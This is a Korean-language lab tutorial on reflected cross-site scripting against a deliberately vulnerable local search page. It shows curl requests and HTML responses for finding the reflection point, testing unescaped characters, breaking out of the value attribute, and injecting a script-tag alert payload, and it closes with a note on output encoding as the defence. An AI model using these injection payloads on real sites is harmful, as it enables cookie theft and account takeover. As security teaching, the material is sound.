소개
반사형 크로스 사이트 스크립팅 (Reflected XSS) 은 애플리케이션이 HTTP 요청을 통해 데이터를 수신하고, 해당 데이터를 즉각적인 HTTP 응답에 안전하지 않은 방식으로 포함할 때 발생하는 일반적인 웹 취약점입니다. 주입된 악성 스크립트가 웹 서버로부터 "반사 (reflected)"되기 때문에 피해자의 브라우저에서 실행되며, 이를 통해 공격자는 세션 쿠키를 탈취하거나, 사용자를 대신하여 작업을 수행하거나, 웹사이트를 변조할 수 있습니다.
핵심은 XSS 가 브라우저 측 코드 실행 버그라는 점입니다. 서버가 페이로드를 반사할 수는 있지만, 스크립트가 실제로 실행되고 신뢰 경계가 무너지는 곳은 바로 브라우저입니다.
이 실습에서는 로컬에서 호스팅되는 취약한 웹 애플리케이션과 상호작용하게 됩니다. 반사형 XSS 를 찾고 악용하는 체계적인 접근 방식, 즉 입력값이 반사되는 위치 찾기, 애플리케이션이 특수 문자를 처리하는 방식 테스트, 기존 HTML 구조 탈출, 그리고 최종적으로 악성 JavaScript 페이로드 실행 과정을 배우게 됩니다.
반사 지점 찾기
이 단계에서는 웹 애플리케이션에서 반사 지점 (reflection point) 을 식별하는 방법을 배웁니다. 반사 지점이란 HTTP 요청에서 제공한 입력값이 HTTP 응답에 다시 표시 (또는 "반사") 되는 위치를 의미합니다.
로컬 머신에서 포트 8080으로 접근 가능한 취약한 웹 애플리케이션을 실행했습니다. 이 애플리케이션에는 q라는 쿼리 매개변수를 사용하는 검색 기능이 있습니다.
반사 지점을 찾으려면 고유하고 쉽게 식별할 수 있는 문자열을 애플리케이션에 전송하고, 응답 소스 코드에 해당 문자열이 나타나는지 확인해야 합니다. curl 명령줄 도구를 사용하여 애플리케이션에 HTTP GET 요청을 보내겠습니다.
반사는 XSS 의 필요조건이지만 충분조건은 아닙니다. 입력값이 브라우저 파싱을 통해 실행 가능한 코드로 변환될 수 있는 컨텍스트로 돌아와야 합니다.
터미널에서 다음 명령을 실행하여 검색 엔드포인트에 테스트 문자열 REFLECTION_TEST를 전송합니다:
curl -s "http://localhost:8080/search?q=REFLECTION_TEST"
터미널에 출력된 HTML 결과를 자세히 살펴보세요. 입력한 REFLECTION_TEST가 HTML 구조 내부에 직접 포함된 것을 확인할 수 있습니다.
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="REFLECTION_TEST">
<button type="submit">Search Again</button>
</form>
</body>
</html>
입력값이 <input> 태그의 value 속성 안에 배치된 것을 확인하세요. 이는 애플리케이션이 URL 에서 입력을 받아 HTML 응답으로 직접 반사한다는 것을 증명합니다. 이것이 반사형 XSS 취약점에 필요한 첫 번째 조건입니다.
문자 필터링 테스트 (< > ")
이 단계에서는 애플리케이션이 특수 HTML 문자를 살균 (sanitizing) 하거나 필터링하는지 테스트합니다.
컨텍스트에 따른 인코딩이 여기서의 진정한 방어책입니다. 입력값이 요소 본문 텍스트, HTML 속성, JavaScript, 또는 URL 중 어디에 위치하느냐에 따라 위험한 문자가 달라집니다.
반사 지점을 찾는 것만으로는 XSS 취약점을 확정할 수 없습니다. 현대적인 웹 프레임워크는 종종 특수 문자를 자동으로 인코딩합니다. 예를 들어, 작다 기호 <는 <로 변환될 수 있습니다. 애플리케이션이 이러한 문자를 인코딩하면 브라우저는 이를 실행 가능한 코드가 아닌 안전한 텍스트로 취급하여 XSS 를 방지합니다.
악성 HTML 이나 JavaScript 를 주입하려면 일반적으로 태그를 시작하기 위한 <(작다 기호), 태그를 닫기 위한 >(크다 기호), 그리고 속성을 조작하기 위한 "(큰따옴표) 와 같은 문자가 필요합니다.
이러한 특수 문자가 포함된 새로운 페이로드를 전송하여 애플리케이션이 어떻게 처리하는지 확인해 보겠습니다. Linux 셸이 특수 문자를 해석하지 못하도록 curl 명령에서 URL 을 작은따옴표로 감쌉니다.
다음 명령을 실행하여 문자 필터링을 테스트합니다:
curl -s 'http://localhost:8080/search?q=FILTER_TEST<>"'
서버에서 반환된 출력을 검사합니다:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="FILTER_TEST<>"">
<button type="submit">Search Again</button>
</form>
</body>
</html>
<input> 태그의 value 속성을 관찰하세요. <>" 문자가 HTML 인코딩 (< 또는 " 등) 없이 우리가 보낸 그대로 반사되었습니다. 이러한 살균 과정의 부재는 해당 애플리케이션이 크로스 사이트 스크립팅에 취약할 가능성이 매우 높음을 시사합니다.
HTML 컨텍스트 탈출
이 단계에서는 페이로드 주입을 준비하기 위해 현재 HTML 컨텍스트를 탈출하는 방법을 배웁니다.
이것이 실전 XSS 작업의 핵심입니다. 자신이 처한 파서 컨텍스트를 이해하고, 구문을 사용하여 안전하게 더 위험한 컨텍스트로 탈출하는 것입니다.
XSS 에서 컨텍스트는 매우 중요합니다. 취약한 애플리케이션에서 반사 지점은 HTML 속성 내부인 value="[YOUR_INPUT]"입니다. 만약 단순히 <script> 태그를 바로 주입한다면, 브라우저에 의해 실행되는 대신 입력 필드의 텍스트 값 일부가 되어버릴 것입니다.
브라우저가 코드를 실행하도록 강제하려면 먼저 value 속성을 탈출하고 <input> 태그를 닫아야 합니다.
속성이 큰따옴표로 묶여 있으므로, 큰따옴표 "를 주입하여 value 속성을 조기에 닫을 수 있습니다. 그런 다음, 크다 기호 >를 주입하여 <input> 태그 자체를 닫을 수 있습니다.
이 탈출 기법을 테스트해 보겠습니다. 다음 페이로드를 애플리케이션에 전송하세요:
curl -s 'http://localhost:8080/search?q=BREAKOUT">'
HTML 출력을 주의 깊게 검토하세요:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="BREAKOUT">">
<button type="submit">Search Again</button>
</form>
</body>
</html>
<input> 태그에 무슨 일이 일어났는지 확인하세요. HTML 은 이제 value="BREAKOUT">">로 읽힙니다.
우리가 주입한 "가 value 속성을 성공적으로 닫았고, 주입한 >가 <input> 태그를 닫았습니다. 끝에 남은 ">는 애플리케이션 템플릿의 원래 닫는 따옴표와 괄호이며, 이제 페이지에서 무해한 텍스트로 남게 됩니다.
HTML 속성 컨텍스트를 성공적으로 탈출했습니다. 페이로드 바로 뒤의 공백은 이제 표준 HTML 본문 콘텐츠로 취급되며, 여기서 새로운 태그를 도입할 수 있습니다.
JavaScript 페이로드 실행
마지막 단계에서는 탈출 기법과 악성 JavaScript 페이로드를 결합하여 크로스 사이트 스크립팅을 달성합니다.
이제 <input> 태그를 탈출하는 방법을 알았으니, 탈출 시퀀스 바로 뒤에 유효한 HTML 이나 JavaScript 를 추가할 수 있습니다. XSS 의 가장 일반적인 개념 증명 (PoC) 은 JavaScript alert() 상자를 트리거하는 <script> 태그를 주입하는 것입니다.
우리의 전체 페이로드는 다음과 같습니다: "><script>alert("XSS")</script>
이 페이로드가 작동하는 방식은 다음과 같습니다. "> 시퀀스는 value 속성을 탈출하고 <input> 태그를 닫습니다. 다음으로 <script> 태그가 새로운 JavaScript 실행 블록을 시작합니다. 이 블록 안에서 alert("XSS")는 실행될 JavaScript 코드입니다. 마지막으로 </script> 태그가 실행 블록을 닫습니다.
다음 명령을 실행하여 전체 XSS 페이로드를 주입합니다:
curl -s 'http://localhost:8080/search?q="><script>alert("XSS")</script>'
최종 HTML 출력을 검사합니다:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value=""><script>alert("XSS")</script>">
<button type="submit">Search Again</button>
</form>
</body>
</html>
만약 피해자가 웹 브라우저에서 이 페이로드가 포함된 링크 (예: http://localhost:8080/search?q="><script>alert("XSS")</script>) 를 클릭하면, 브라우저는 HTML 을 위에서 아래로 파싱합니다. 주입된 <script> 태그에 도달하면 JavaScript 코드를 실행하여 "XSS"라는 경고 상자를 띄우게 됩니다.
실제 공격에서는 무해한 경고창 대신, 공격자가 피해자의 세션 쿠키 (document.cookie) 를 탈취하여 악성 서버로 전송하는 코드를 주입함으로써 계정 탈취를 시도할 것입니다.
요약
축하합니다! 반사형 크로스 사이트 스크립팅 (XSS) 실습을 성공적으로 완료했습니다.
이 실습을 통해 다음을 배웠습니다:
- 고유한 문자열을 전송하고 HTTP 응답을 분석하여 반사 지점을 식별하는 방법.
- 애플리케이션이 특수 HTML 문자를 안전하게 인코딩하는지 확인하기 위해 문자 필터링을 테스트하는 방법.
- 따옴표와 괄호를 조작하여 HTML 속성 컨텍스트를 탈출하는 방법.
- 브라우저 내에서 코드 실행을 달성하기 위해 전체 JavaScript 페이로드를 구성하고 주입하는 방법.
이러한 메커니즘을 이해하는 것은 보안 연구원으로서 취약점을 식별하는 데에도, 개발자로서 적절한 입력 살균 및 출력 인코딩을 구현하는 데에도 필수적입니다.



